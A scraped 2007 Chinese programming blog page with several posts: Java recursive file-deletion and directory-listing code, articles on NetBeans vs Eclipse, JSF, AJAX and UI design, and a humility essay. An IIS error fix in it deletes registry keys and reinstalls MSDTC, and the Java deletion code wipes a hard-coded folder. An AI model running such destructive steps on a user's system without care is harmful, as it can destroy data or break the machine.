                     }
                     */
                     //System.out.println(m_dirs.size());
                    
                     for(int i=0;i<dirsList.size();i++){
                         tempRoot=(java.io.File)dirsList.get(i);
                         visitAll(tempRoot);
                         /*
                         dirs=tempRoot.listFiles();
                         List dirsList= Arrays.asList(dirs);
                         */
                         //System.out.println(tempRoot.toString());
                     }   
                 }
                 //return true;
             //}
             }
         }
         /*
          * do delete
          */
         private static void myDelete()throws Exception{
             //m_dirs.add(m_root);
             visitAll(m_root);
            
             if(m_dirs!=null){
                
                 //System.out.println("删除前:"+m_dirs.size());
                 //System.out.println(m_dirs.size());
                 for(int i=m_dirs.size()-1;i>=0;i--){
                     java.io.File f= (java.io.File)m_dirs.remove(i);
                     //File f= (File)m_dirs.get(i);
                     //System.out.println(f.toString());
                     String fileName=f.toString();
                    
                     if(!f.delete()){
                         throw new Exception("Exception: delete file "+ fileName+" false!");
                         //System.out.println("删除文件/文件夹"+fileName+"失败!");
                     }
                 }
             }
             else{
                 throw new Exception("Exception: read file list of "+m_root.toString()+"false!");
                 //System.out.println("ArrayList==null");
             }
         }
         /*
          * root director
          */
         private static java.io.File m_root;
        
         private static ArrayList m_dirs;
         //private static int counter=0;

         public static void main(String[] args) {//测试类
            
             File file =new File("H:/小说/小四/天亮说晚安");
             try{
                 File.deleteDirs("H:/小说/小四/天亮说晚安");
                 //File.deleteDirs(file);
                 //File.deleteSubDirs("H:/小说/小四/天亮说晚安");
                 //File.deleteSubDirs(file);
    //File f=new File("F:/test.txt");
                 //f.delete();
             }
             catch(Exception e){
                 e.printStackTrace();
             }
             System.out.println("删除成功~");
         }    
    }

    posted @ 2007-05-21 02:51 jadmin 阅读(48) | 评论 (0)编辑 收藏

             如果你是一个Java支持者,你一定不会陌生Netbeans,因为大家都是从Netbeans的爱恨交加中走过来的,初识Netbeans还是3.6版本,当时无论从界面还是运行上,真的不敢恭维,但是谁又能说Netbeans会停止它前进的脚步呢?由于开源脚步的加快,Borland提前宣布退出,给了Netbeans更多的机会,也让Netbeans在业界得到专业人士的赏识,但是他真的走出充当配角角色吗?真的像Netbeans高级宣传官所说的那样走出低谷了吗?

      Netbeans拒绝与Eclipse合并

      随着开源的兴起,Jbuilder光辉不在,Netbeans的市场份额在今年上半年有了明显的增长,据国外权威调查机构显示,Eclipse 市场份额占45%,Netbeans占 30%,Jbuilder占15% ,其它IDE占5%,从调查分析来看,Netbeans的市场占有率正在上升,原来三国鼎立的局面因为Jbuilder的退出,使Eclipse对决 Netbeans大战提前上演了,都说这是一场势均力敌的战争,倒不如说是两大软件巨头的撕杀,2006年初IBM就开始和Sun公司进行谈判,数月谈判结果给了IBM当头一棒,Sun公司拒绝加入IBM主导的开源项目Eclipse,在宣布放弃Eclipse同时,不久Sun表示,他们不再试图将Sun 发起的NetBeans.org开放源Java工具项目与Eclipse合并。

      Sun公司认为,加入Eclipse阵营需要打破两个组织之间的技术和组织差别,而这将对NetBeans和Eclipse项目现有的参与者造成不利影响。Sun公司开发平台集团副总裁RichGreen表示,“我们双方都确定我们不希望放弃现有项目”,“我们确定,合作社团相对于削减成本等问题更为重要。”

      Eclipse和NetBeans开放源项目目的是开发软件以允许不同的Java开发工具在单个编程应用中能够相互嵌和。比如,开发人员可以将一家公司提供的源代码管理工具与其他公司的代码编辑器综合在一起使用。

      Green称,双方起初讨论放弃NetBeans,但很快转而谈判寻求将两个开放源项目统一在一个单一实体下。理论上,将两个项目和并可以建立一个针对同一技术的更大社团,并确保两个项目不会建立不兼容的代码。但Green表示,如果重写各自的插件系统以及相关的工具平台需要双方花费很长时间和巨大开销。比如,Sun的商业开发工具建立在NetBeans的基础上,如果转而采用Eclipse标准则需要进行重大修改。

      Sun和IBM Eclipse未能走到一起,在两大开放源工具项目之间建立起一个鸿沟。Green表示,这样也为开发商提供了更多的选择。并且,Sun仍然希望将来与Eclipse重开谈判之门。

      相对与Sun的内敛相比,Eclipse基金会的执行理事Mike Milinkovich要自信得多,在谈到老竞争对手时,他说这本来就是一场没有悬念的战争,我们已经拥有了足够多的用户,而他们没有,很明显我们会赢得这场战争,我只能祝他们好运。

      关于两位当事人的观点我们的记者也采访了香港政府IT部门架构师Recher,他说这本身就是一场实力悬殊的竞争,虽然近期 Netbeans是在市场战略上取得一些佳绩,但不能说他们真正的赢得了这场胜利,他只不过是在分享Jbuilder抛弃的市场份额而已,Eclipse 并没有因为它的增加而减少,Sun公司一直在用一种狭隘的心态在抵制自已竞争对手,最近和IBM的谈判崩裂,以及Sun一直都没把OSGI列放JMX的标准中,就是很好的例证。

      Eclipse未来之路

      同时Recher也谈到了Eclispe开发在3个方面占胜了Netbeans.

      1. 在技术上Eclipse是良好的OSGI框架实现(Equinox是OSGi R4 core framework的一个实现,而Eclipse IDE是基于Equinox项目开发的一个典型例子OSGI的好处基本就是面向组件开发,并提供一个十分好用的plugs-in框架,开发性强。况且 Eclipse本身就是一个RCP的容器---为未来RCP应用程序的将来提供不可缺少而且成熟的工具和容器。

      2. 在市场上Netbeans支持的项目和工具太少了,因为很多开源项目都提供了大量Eclipse的plugs-in组件,这些是其它IDE 工具无法比拟的, 现在的 IBM已经和Eclipse完全整合了(以前的WSAD还不能说完全,但IRAD6.0就已经很完全了),同时IBM推出RSA(Rational Software Architect)的工具可以把Eclipse+UML+RUP+IRAD比较完美结合,至少我认为它是目前出来最好的工具了,整个RUP都可以涵盖,而且还是支持UML2.0.

      3. 在背景方面Eclispe的流行完全是IBM在它萌芽阶段进行资金赞助的产物,有了IBM这个蓝色巨人的支持, 它的前途无可限量,但是也不能小看了Sun公司的这个冷面杀手,有Sun这个强有力的后盾,双方以后的竞争会很激烈的.

      其实对于Eclipse未来,我们国内的架构师们只是在应用的角度上来看得在这个问题,Mike Milinkovich在9月初的Eclipse 2006世界大会指出了Eclipse未来的发展和新技术走向,他告诉我们首先是围绕富客户端平台的继续增长和采用。支持更多的语言。下个季度,我们计划在Eclipse内推出首版的PHP IDE项目,我们认为这是一个非常令人激动的项目。因为无论是对企业开发者还是Web开发者来说,PHP是一门非常重要的语言,因此使得Eclipse工具支持PHP是一件令我们激动的事情。

      NetBeans未来走向

      在IDE开发工具竞争激烈的今天,Sun也逐步的调整了Netbeans市场战略,在今年JavaOne大会上,Netbeans高级宣传官 Tim Boudreau也谈到了Netbeans以后发展动向,他告诉我们,自从1998年以来,NetBeans并没有只为Java而<strong onmouseover="isShowAds = true;isShowAds2 = true;ads.Move(this,"http://rad.17luntan.com/UploadImage/36/633148531966718750.jpg","%u4E2D%u534E%u82F1%u624D%u7F51%uFF0C%u6709%u6548%u6C42%u804C%2C%u5E94%u8058%2C%u627E%u5DE5%u4F5C%u5C31%u5728%u8FD9%u91CC%21","43772","工作","%u5DE5%u4F5C","http%3A//chinahrafaad.allyes.com/main/adfclick%3Fdb%3Dchinahrafaad%26bid%3D41818%2C21083%2C187%26cid%3D16880%2C133%2C1%26sid%3D42304%26show%3Dignore%26url%3Dhttp%3A//www.chinahr.com/")" style="FONT-WEIGHT: normal; CURSOR: hand; COLOR: #0000ff; TEXT-DECORATION: underline" onclick="javascript:window.open("http://s4.17luntan.com/ClickPortal/WebClick.aspx?id=43772&k=%u5DE5%u4F5C&siteid=0098295a-e262-40f7-ae50-7a6fbbdb678b&url=http%3A//java.csdn.net/n/20061025/96733.html&gourl=http%3A//chinahrafaad.allyes.com/main/adfclick%3Fdb%3Dchinahrafaad%26bid%3D41818%2C21083%2C187%26cid%3D16880%2C133%2C1%26sid%3D42304%26show%3Dignore%26url%3Dhttp%3A//www.chinahr.com/&parm=2F5B371DE6B4180FC652E69EC2EBF65E7A9AA108AEB8FCBD&alliedsiteid=0");" onmouseout="isShowAds = false;isShowAds2 = false;">工作。它也是C/C++工具的基础,Sun公司已经将它转用于Solaris很多年了,对它的支持正在进行扩展化和通用化,不再仅限于Solaris。NetBeans也是HP公司用于OpenVMS的IDE,支持COBOL, Fortran, C/C++和其它语言。例如在今年JavaOne大会上我们演示的对VB的支持—实际上是读取VB代码,编译成字节码,然后运行,有时会比它本应生成的本地代码运行还要快。因此,我们已经开始了这个项目,也会有围绕脚本方面的开发做更多的努力。NetBeans并不一定要局限于Java IDE平台—它对于Java已经有了很大地支持,那是人们首先要考虑的事情。但是就NetBeans目前的发展来看,它已经成为了一个语言无关的平台。

      正象我们早期提到的,重要的东西的寿命总是很长。一些人声称Java会在5或10年里死亡,我们都会迎来下一个大的事物。即使真是那样, NetBeans也一样可能会支持下一个事物的到来,但是对一个语言的寿命做假设的时候,有一件重事情要考虑,对于期望任何特殊的程序语言或范例的盛行周期日益变得更长是很实际的,这有两方面的原因。首先,我们在绘制人们如何考虑告诉计算机工作的方式上的蓝图方面正越来越好,其次,一个语言统治的时间越长,它的代码就会越多,因此移植的代价也就越大。于是你不得不紧跟一些事情,这些事情会强迫变化中的语言很丰富多彩。

      现在有很多有关脚本语言的谈论,但是我期待在主流编程语言中的下一个重大变化是让直觉上类似多核芯片的并行方式成为规范标准。我确信在未来的时间里这些目标将会成我们考虑的主流。

      从上述的采访中我们明显看到了开发公司的架构师对于Eclipse的钟爱程度,Eclipse已经深入人心, Eclipse的强大是显而易见,记得Ruby刚刚在网上火爆的时候,Eclipse就迅速作出反应,推出了支持Ruby开发插件,可是我们在反观 Netbeas在5.5的版本还没有这样的计划,Java之父Gosling曾说过未来的Netbeans不将是纯粹的Java开发工具,它要涉及各个方面,以后也会支持Ruby开发,可是在他说这些话的时候,Eclipse已经在前进的路上了,这难免令所有支持者感到失望,未来的日子,谁将主宰我们都拭目以待。

             以上内容转自:http://java.csdn.net/n/20061025/96733.html

    posted @ 2007-05-21 02:20 jadmin 阅读(58) | 评论 (0)编辑 收藏

            谦虚有很多种,真正的谦虚,不是谁都有资格享有它的.

            胸无大志的人,即使极诚恳地说:“我这人没什么志向。”这不叫谦虚,只能叫坦率,这种坦率有时让人觉着是在叹息;毫无才学的人,即使极认真地说:“我这人没什么本事。”这不叫谦虚,只能叫实在,这种实在有时让人觉着是在自责;主席台上,正式发言之前来一句:“我水平有限。”这不叫谦虚,只能叫客套,这种客套给人感觉是一种身份的炫耀;辩论场上,笑应对手一句:“我的意见可能不太成熟。”这不叫谦虚,只能叫挑战,这种挑战是一种以退为进的宣示:机遇面前犹豫不决、左右为难地嗫嚅:“我不知道该怎么办。”这不叫谦虚,只能叫哀鸣,这种哀鸣除了显示无能力以外,便是在患得患失间不知所措;困境之中难做决断,跌倒后爬起乱了方寸:“看来我是真的顶不住了。”这不叫谦虚,只能叫无奈,这种无奈表明了穷途末路的到来。

      谦虚需要一种底气来支撑。

      聪慧是智者的底气。智者的聪慧在于能从聪慧中看到局限和缺欠,他的和气中透出低调,和颜中多有雅量。

      善良是仁者的底气。仁者的善良是能容下无端的伤害和浅陋的狂妄,他的谦卑融于忍耐之中,他的虚怀嵌入慈悲之间。

      博大是强者的底气。强者的博大是能让对手心悦诚服地拥戴和情不自禁地敬仰。

      谦虚的人,因为看得透,所以不躁;因为想得远,所以不妄;因为站得高,所以不傲;因为行得正,所以不惧。

      这样的人,才称得上是谦虚的人。

            以上内容出自《涉世之初》

    posted @ 2007-05-20 18:34 jadmin 阅读(86) | 评论 (0)编辑 收藏
    JSF

    什么是 JSF?

    JavaServer Faces (JSF) 是一种用于构建 Web 应用程序的新标准 Java 框架。它提供了一种以组件为中心来开发 Java Web 用户界面的方法,从而简化了开发。JavaServer Faces 还引起了广大 Java/Web 开发人员的兴趣。“企业开发人员”和 Web 设计人员将发现 JSF 开发可以简单到只需将用户界面 (UI) 组件拖放到页面上,而“系统开发人员”将发现丰富而强健的 JSF API 为他们提供了无与伦比的功能和编程灵活性。JSF 还通过将良好构建的模型-视图-控制器 (MVC) 设计模式集成到它的体系结构中,确保了应用程序具有更高的可维护性。最后,由于 JSF 是通过 Java Community Process (JCP) 开发的一种 Java 标准,因此开发工具供应商完全能够为 JavaServer Faces 提供易于使用的、高效的可视化开发环境。

    JSF 体系结构

    JavaServer Faces 的 MVC 实现

    JSF 的主要优势之一就是它既是 Java Web 用户界面标准又是严格遵循模型-视图-控制器 (MVC) 设计模式的框架。用户界面代码(视图)与应用程序数据和逻辑(模型)的清晰分离使 JSF 应用程序更易于管理。为了准备提供页面对应用程序数据访问的 JSF 上下文和防止对页面未授权或不正确的访问,所有与应用程序的用户交互均由一个前端“Faces”servlet(控制器)来处理。

    图 1:JavaServer Faces 的 MVC 实现

    JSF 生命周期

    Faces Controller servlet 充当用户和 JSF 应用程序之间的纽带。它在明确限定的 JSF 生命周期(规定了用户请求之间的整个事件流)的范围内工作。例如,一收到访问 JSF 应用程序的初始 Web 请求,Faces Controller servlet 便通过首先准备 JSF 上下文(存放所有应用程序数据的一个 Java 对象)来处理请求。然后控制器把用户指引到所请求的页面。该页面通常使用简单的表达式语言来处理来自 JSF 上下文的应用程序数据。一收到后续请求,控制器就更新所有模型数据(假设输入了新数据)。JSF 开发人员可以通过编程的方式在应用程序运行期间随时访问整个 JSF 生命周期,从而可以随时对应用程序的行为进行高度控制。

    JavaServer Faces 的用户界面组件

    JavaServer Faces 的真正威力在于它的用户界面组件模型。在该模型中,应用程序完全用组件集合构建,这些组件可以针对多种客户端类型用不同的方式来进行显示。与其他专有技术(如 ASP.Net)有点类似,JSF 的 UI 组件模型技术使开发人员能够使用预先构建的用户界面 (UI) 组件来构建 Web 用户界面(而非完全从头构建用户界面),从而提供了前所未有的开发效率。JSF UI 组件有多种形式,可以简单到只是显示文本的 outputLabel,或者复杂到可以表示来自数据集合(如数据库表)的表格化数据的 dataTable

    JavaServer Faces 规范在其参考实施中提供了一组基本 UI 组件,这些组件本身是非常有用的。它们包括两个组件库,即“HTML”组件库 — 它大部分映射了标准的 HTML 输入元素;以及“核心”库 — 它辅助常见的应用程序开发任务(如,国际化和验证/转换输入数据)。除了提供一个基本 UI 组件库之外,JSF API 还提供了扩展和创建定制 JSF UI 组件的功能,从而在基本组件之上提供更多功能。

    其他用户界面组件库

    由于 JSF API 的丰富性和灵活性,许多 Java 开发人员开始创建新的 JSF 组件库和实现。Oracle 的 ADF Faces 是一个完全符合 JSF 规范的组件库,它为 JSF 应用程序开发提供了一组广泛的增强 UI 组件。这些组件包括针对每种客户端类型的多种呈现器、高级表格、颜色和日期选择器以及大量通用组件(如菜单、命令按钮、转移选择器和进度指示计)。

    图 2:Oracle 的 ADF Faces JSF UI 组件

    除了 Oracle 的 ADF Faces 之外,还有其他新的 JSF 组件库开始从开放源代码社区和软件供应商社区中出现。MyFaces 就是一个新 JSF UI 组件库的例子,它通过 Apache 作为一个开放源代码项目提供的。Myfaces 还是对 JSF 基本 UI 组件的增强,它拥有更广泛的 UI 功能,如集成的 Tiles 支持、支持 Javascript 的菜单和树控件。

    图 3:开放源代码的 MyFaces 实现和 UI 组件库

    JSF UI 组件的可插入呈现技术

    JSF UI 组件技术最引人注目一个方面就是它的可插入呈现功能。JSF UI 组件能够根据查看组件的客户端的类型来以不同方式呈现自身。例如,HTML 浏览器将看到特定 UI 组件的“HTML 浏览器友好”版本,而支持无线或 WAP 的微型设备将看到同一 UI 组件的“WML 友好”版本!JSF 通过解除 UI 组件与其呈现逻辑之间的耦合从而能够为同一 UI 组件创建多个呈现器实现了这一功能。不同的呈现器可以与 UI 组件相关联,在运行时 UI 组件可以根据请求的客户端类型决定使用哪个呈现器。

    图 5:一个 ADF Faces 表格组件针对无线客户端和 HTML 客户端进行了不同的呈现

    还应当指出的是,由于 JSF 的可插入呈现功能,使得 JSF UI 组件能够显示任何类型的数据,无论它是标记数据(如 HTML、XML、WML 等)还是二进制数据。例如,UI 组件还可以显示二进制数据,如图像流或不同的文档类型,如 SVG、PDF 和 Word。

    一个新的 JSF 组件开发人员社区

    随着 JSF 开发人员和拥护者社区的不断壮大,现在有几个网站致力于进一步推动独立的 JSF 开发。JSFCentral 就是一个完全为 JSF 开发社区服务的新网站。它包含 JSF 技术信息、产品/组件信息以及大量与 JSF 相关的文章。

    图 4:JSFCentral — 一个免费的 Javaserver Faces 社区

    (JSFCentral 的地址是:http://jsfcentral.com

    JSF 开发工具

    因为 JavaServer Faces 是一种标准的 Java 技术,因此软件开发工具完全能够为 JavaServer Faces 提供高级的集成开发工具支持。多个供应商现在不同程度地支持 JSF 开发,这大大提高了 JSF 的易用性和功能。Oracle、Sun、Borland 和 IBM 都为 JavaServer Faces 提供了开发环境。由于开发工具供应商在竞相提供更好、更简单和更多的开发环境,因此基于 IDE 的 JSF 开发拥有美好的前景!

    图 6:Oracle 的 JDeveloper 提供高效、可视化的 JSF 开发体验

    总结

    JavaServer Faces 通过提供模型-视图-控制器设计模式的一个简洁实现,同时在不牺牲开发能力和灵活性的前提下提供高效的以组件为中心的开发,解决了 Java Web 开发的许多历史问题。此外,因为 JSF 是一种 Java 标准,因此多个软件供应商将继续提供始终高效的开发环境,这些开发环境毫无疑问将达到或很可能超过专有的可视化开发环境。请继续关注!

    posted @ 2007-05-20 13:20 jadmin 阅读(148) | 评论 (0)编辑 收藏

             Java最引以为傲的特性就是跨平台。基于Java的桌面软件以其一处编译、到处运行的优势横扫企业桌面软件市场。目前有很多跨平台的软件都是基于Java的,如JBuilder、Oracle的管理前端,Eclipse等。这些软件都在各自的领域起着举足轻重的作用。然而好景不长。Web这个老牌技术换上了AJAX这件金履玉衣后又杀了回来。而搜索引擎的老大Google将AJAX这种技术用得淋漓尽致,如Google Map、Google Office等。从种种迹象可以看出,AJAX技术正是Java桌面技术的最大敌人,那么谁能取得最后的胜利呢?

    一、Java问世,桌面软件市场成为它的第一块肥肉
    在1995年Java问世之初。第一个使Java声名显赫的并不是现在Java程序员所熟悉的JSP、Servlet、EJB的J2EE组件,而是现在已经基本上被淘汰的Applet。记得当初我刚接触Java时,正是Applet火的时候,有非常多的网站都是基于Applet技术的动态网站。

    Applet本身也是Java程序,只是Java对Applet的部分功能进行了限制,这样用户可以在IE前端享受Java的强大功能的同时,还拥有了Web程序免安装的特性。

    但Applet也有它的缺点。如装载缓慢、设计复杂的效果比HTML+JavaScript繁琐等。在后来Applet之所以每况愈下,还有个重要的原因就是微软和Sun的谈判破裂,直接导致了IE只支持到jdk1.1版本,因此,后续的jdk要想在IE中安装,必须要安装Sun所提供的jdk包。这种情况大大阻挠了Applet最终统一跨平台桌面软件市场的进程。而Sun在Applet的更新上也做的不尽人意。因此,Applet这项技术只吃了几年桌面软件市场的肥肉就将这些肥肉吐了出来。以至Java在跨平台桌面软件市场的第一回合的争斗中彻底失败了。而Sun当然不会就此善罢甘休。Sun将利用它的下一项跨平台桌面技术来和其他的竞争对手一决雌雄。
    二、AJAX空降桌面软件市场,会和Java桌面技术竞争还是融合?
    在基于web的应用大行其道的世界,桌面程序是否还有其地位? 在Sun举办的“桌面存在价值”研讨会上,与会者对桌面应用的地位给出了肯定的回答。“Java 桌面应用开发者会议”近日在加州圣何塞召开。会议主要议题涉及Java的各种技术,如提供组件技术的Swing、Web框架Spring、NetBeans开源平台等。
    会议的基调是在桌面技术和AJAX之间进行比较,AJAX是开发web应用的时髦技术。人们认为桌面应用和Web应用变得越来越相似:Web应用桌面化,而桌面应用则向web领域扩展。Swing和AJAX技术在表现效果和组件支持等诸多方面越来越接近。桌面应用出现了主机版本如Microsoft Office系统,而基于AJAX的应用则克隆桌面应用的AJAX版本如Zoho Office。Ajaxian.com以及“桌面存在价值”研讨会的创始人Ben Galbraith 和 Dion Almaer参加了会议。在会上人们提出大量实例证明桌面应用在很多领域优于web应用:如对于本地存储资源的访问、图形处理性能、内存损耗、敏感数据本地化能力等。有人指出:有些用户习惯于使用桌面应用,对于安装浏览器来升级应用感到茫然。桌面Java程序比AJAX版本速度快。然而AJAX可通过如Dojo Offline Toolkit等工具提供更好的离线支持。Galbraith在会上宣布启动Nimbus,旨在为Swing应用提供更具吸引力的用户界面。Nimbus是由Sun公司开发部署在Java.net上的开源项目。Nimbus的图形界面酷似Mac OS X和Windows Vista Aero。Galbraith介绍说,Nimbus的图形界面感观大大优于Swing,提供了可变尺寸工具箱等特性,以利于屏幕空间的合理利用以及用户界面嵌套面板分割。Nimbus 1.0 beta版计划在5月8日旧金山JavaOne会议期间推出。Nimbus经过技术细节调整后有可能随同Java 7发布(Java 5平台)。
        自从AJAX来到Web开发领域后,虽然有些技术是学的Java的东西,但它将来有可能会再次威胁到Java用来进攻桌面市场的新技术。虽然目前AJAX在开发上还不是很方便,但已经有象Google等公司开发出了类Java的AJAX开发工具,如GWT。还有就是Borland公司最近也宣布Delphi2007将全面支持AJAX开发。从种种迹象看,在未来使用AJAX技术将会变得更容易。AJAX在未来也许会成为Java桌面技术的强大竞争对手。至于AJAX和Java桌面技术最终是竞争,还是互相融合,仍需要时间来证明。
    posted @ 2007-05-20 12:52 jadmin 阅读(73) | 评论 (0)编辑 收藏

    错误提示:Server Application Error The server has encountered an error

    while loading an application during the processing of your request. Please refer to the event log for

    more detail information. Please contact the server administrator for assistance.

    解决方法如下:

    1。右键我的电脑--管理--本地用户和组,给IUSR_机器名和IWAM_机器名两个用户设置密码,要一样。

    2。开始--运行--输入cmd,
    然后cd c:\Inetpub\AdminScripts
    然后cscript.exe adsutil.vbs set w3svc/wamuserpass 你的密码,
    然后cscript.exe adsutil.vbs set w3svc/anonymoususerpass 你的密码

    看一下,行了没有?如果还不行,那么
    cscript.exe synciwam.vbs -v,
    然后iisreset

    Server Application Error续,8004EOOF错误

    发现运行C:\Inetpub\AdminScripts\synciwam.vbs时报8004EOOF错误,晕死,网上搜索了下,发现是

    MSDTC的问题: msdtc服务没有正常启动。 找到原因就好办啦^_^

    Step1 删除注册表中的键:

    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MSDTC

    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC

    HKEY_CLASSES_ROOT\CID

    Step2 :

    停止MSDTC服务:net stop msdtc

    Step3 卸载MSDTC服务:

    msdtc -uninstall

    Step4 重新安装MSDTC服务:

    msdtc -install

    然后再按照原来的解决Server Application Error的方法就可以了~o yeah

    posted @ 2007-05-19 21:24 jadmin 阅读(37) | 评论 (0)编辑 收藏
    UI

             UI的本意是User Interface也就是用户与界面的关系。他包括交互设计,用户研究,与界面设计三个部分。

    一个通用消费类软件界面的设计大体可分为五个步骤:
    1.需求阶段
    2.分析设计阶段
    3.调研验证阶段
    4.方案改进阶段
    5.用户验证反馈阶段

    需求阶段   
             软件产品依然属于工业产品的范畴。依然离不开3W的考虑(Who,where,why.)也就是使用者,使用环境,使用方式的需求分析。所以在设计一个软件产品之前我们应该明确什么人用(用户的年龄,性别,爱好,收入,教育程度等)。什么地方用(在办公室/家庭/厂房车间/公共场所)。如何用(鼠标键盘/遥控器/触摸屏)。上面的任何一个元素改变结果都会有相应的改变。

            除此之外在需求阶段同类竞争产品也是我们必须了解的。同类产品比我们提前问世,我们要比他作的更好才有存在的价值。那么单纯的从界面美学考虑说哪个好哪个不好是没有一个很客观的评价标准的。我们只能说哪个更合适,更合适于我们的最终用户的就是最好的。如何判定最合适于用户呢,后面我会介绍用户调研。

    分析设计阶段   
              通过分析上面的需求,我们进入设计阶段。也就是方案形成阶段。我们设计出几套不同风格的界面用于被选。首先我们应该制作一个体现用户定位的词语坐标。例如我们为25岁左右的白领男性制作家居娱乐软件。对于这类用户我们分析得到的词汇有:品质,精美,高档,高雅,男性,时尚,cool,,个性,亲和,放松等。分析这些词汇的时候我们会发现有些词是绝对必须体现的,例如:品质,精美,高档,时尚。但有些词是相互矛盾的,必须放弃一些,例如:亲和,放松与cool,个性与等。所以我们画出一个坐标,上面是我们必须用的品质,精美,高档,时尚。左边是贴近用户心理的词汇:亲和,放松,人性化。右边是体现用户外在形象的词汇:cool,个性,工业化。然后我们开始搜集相呼应的图片,放在坐标的不同点上。这样根据不同作标点的风格,我们设计出数套不同风格的面。

    调研验证阶段
             几套风格必须保证在同等的设计制作水平上,不能明显看出差异,这样才能得到用户客观的反馈。

            测试阶段开始前我们应该对测试的具体细节进行清楚的分析描述。

    例如:
    数据收集方式:厅堂测试/模拟家居/办公室。
    测试时间:X年X月X日X日。
    测试区域:北京、广州、天津。
    测试对象。某消费软件界定市场用户。

    主要特征为:
    ·对电脑的硬件配置以及相关的性能指标比较了解,电脑应用水平较高;
    ·电脑使用经历一年以上;
    ·家庭购买电脑时品牌和机型的主要决策者
    ·年龄:X-X岁;
    ·年龄在X岁以上的被访者文化程度为大专及以上;
    ·个人月收入X以上或家庭月收入X元及以上;
    ·样品
    ·五套软件界面
    ·样本量:X个,实际完成X个。

    调研阶段需要从以下几个问题出发:
    · 用户对各套方案的第一印象
    · 用户对各套方案的综合印象
    · 用户对各套方案的单独评价
    · 选出最喜欢的
    · 选出其次喜欢的
    · 对各方案的色彩,文字,图形等分别打分。
    · 结论出来以后请所有用户说出最受欢迎方案的优缺点。

    所有这些都需要用图形表达出来,直观科学。

    方案改进阶段   
    经过用户调研,我们得到目标用户最喜欢的方案。而且了解到用户为什么喜欢,还有什么遗憾等,这样我们就可以进行下一步修改了。这时候我们可以把精力投入到一个方案上(这里指不能换皮肤的应用软件或游戏的界面)将方案做到细致精美。

    用户验证阶段   
    改正以后的方案,我们可以将他推向市场。但是设计并没有结束。我们还需要用户反馈,好的设计师应该在产品上市以后去站柜台。零距离接触最终用户,看看用户真正使用时的感想。为以后的升级版本积累经验资料。

    posted @ 2007-05-19 20:14 jadmin 阅读(65) | 评论 (0)编辑 收藏

    //用递归算法列出某个目录下的所有子目录和文件

    import java.io.*;

    class DiGuiGetDir
    {
    static void getDir(String strPath) throws Exception
    {
       try
       {
        File f=new File(strPath);
        if(f.isDirectory())
        {
         File[] fList=f.listFiles();
         for(int j=0;j<fList.length;j++)
         {
          if(fList[j].isDirectory())
          {
           System.out.println(fList[j].getPath());
           getDir(fList[j].getPath()); //在getDir函数里面又调用了getDir函数本身
          }
         }
         for(int j=0;j<fList.length;j++)
         {
          if(fList[j].isFile())
          {
           System.out.println(fList[j].getPath());
          }

         }
        }
       }
       catch(Exception e)
       {
        System.out.println("Error: " + e);
       }
    }

    public static void main(String[] args)
    {
       String strPath="d:\\Download";
       System.out.println(strPath);

       try
       {
        getDir(strPath);
       }
       catch(Exception e)
       {

       }
    }
    }

    posted @ 2007-05-19 10:45 jadmin 阅读(104) | 评论 (0)编辑 收藏

            音乐播放器,TTPlayer一直都是我的首选,感觉很好.Vista推出后,网络上掀起一股Vista热潮,各种软件纷纷推出Vists版的,先是QQ,接着是Windows 优化大师,现在千千也推出Vista皮肤版的了.这款确实做得不错啊,我喜欢~~~

    posted @ 2007-05-19 01:17 jadmin 阅读(59) | 评论 (0)编辑 收藏
    对Java开发者来说,有许多的标准和最佳实践。本文列举了每一个开发人员必须遵从的十大基本法则;如果有了可以遵从的规则而不遵从,那么将导致的是十分悲惨的结局。

    1. 在你的代码里加入注释

    每个人都知道这点,但不知何故忘记了遵守。算一算有多少次你“忘记”了添加注释?这是事实:注释对程序在功能上没有实质的贡献。但是,你需要一次又一次的回到你两个礼拜之前写的代码上来,可能一辈子都是这样,你一定记不住这些代码为什么会这样。如果这些代码是你的,你还比较的幸运。因为它有可能让你回忆起。但是不幸的是,很多时间,这些代码是别人的,而且很有可能他已经离开了公司。

    2. 不要让事情复杂化

    我以前就这么干过,而且我相信所有的人都这么干过。开发人员常常为一个简单的问题而提出一个解决方案。我们为仅仅只有5个用户的应用而引入EJBs。我们为一个应用使用框架而它根本不需要。我们加入属性文件,面向对象的解决方案,和线程到应用中,但是它根本不需要这些。为什么我们这样做?我们中的一些人是因为不知道怎么做更好,但是还有一些人这样做的目的是为了学习新的知识,从而使得这个应用对于我们自己来说做得比较有趣。

    3. 牢牢记住——“少即是多(less is more)”并不永远是好的

    代码的效率是一伟大的事情,但是在很多情况下,写更少的代码行并不能提高该代码的效率。请让我向你展示一个简单的例子。

    if(newStatusCode.equals("SD") && (sellOffDate == null ||
    todayDate.compareTo(sellOffDate)<0 || (lastUsedDate != null &&
    todayDate.compareTo(lastUsedDate)>0)) ||
    (newStatusCode.equals("OBS") && (OBSDate == null ||
    todayDate.compareTo(OBSDate)<0)))...{
    newStatusCode = "NYP";
    }


    我想问一句:说出上面的那段代码的if条件想干什么容易吗?现在,我们再来假设无论是谁写出这段代码,而没有遵从第一条规则——在你的代码里加入注释。

    如果我们把这个条件分到两个独立的if陈述句中,难道不是更简单一些吗?现在,考虑下面的修正代码:

    if(newStatusCode.equals("SD") && (sellOffDate == null ||
    todayDate.compareTo(sellOffDate)<0 || (lastUsedDate != null &&
    todayDate.compareTo(lastUsedDate)>0)))...{
    newStatusCode = "NYP";
    }else
    if(newStatusCode.equals("OBS") && (OBSDate == null ||
    todayDate.compareTo(OBSDate)<0))
    ...{
    newStatusCode = "NYP";
    }

    难道它不是有了更好的可读性?是的,我们重复了陈述条件。是的,我们多出了一个多余的“IF”和两对多余的括弧。但是代码有了更好的可读性和可理解性。

    4. 请不要有硬代码

    开发人员常常有意识的忘记或者忽视这条规则,原因是我们,和一般时候一样,在赶时间。如果我们遵从这条规则,我们可能会赶不上进度。我们可能不能结束我们的当前状态。但是写一条额外的定义静态常量的代码行又能花费我们多少时间呢?

    这里有一个例子。

    public class A ...{

    public static final String S_CONSTANT_ABC = "ABC";

    public boolean methodA(String sParam1)...{

    if(A.S_CONSTANT_ABC.equalsIgnoreCase(sParam1))...{

    return true;
    }
    return false;

    }

    }
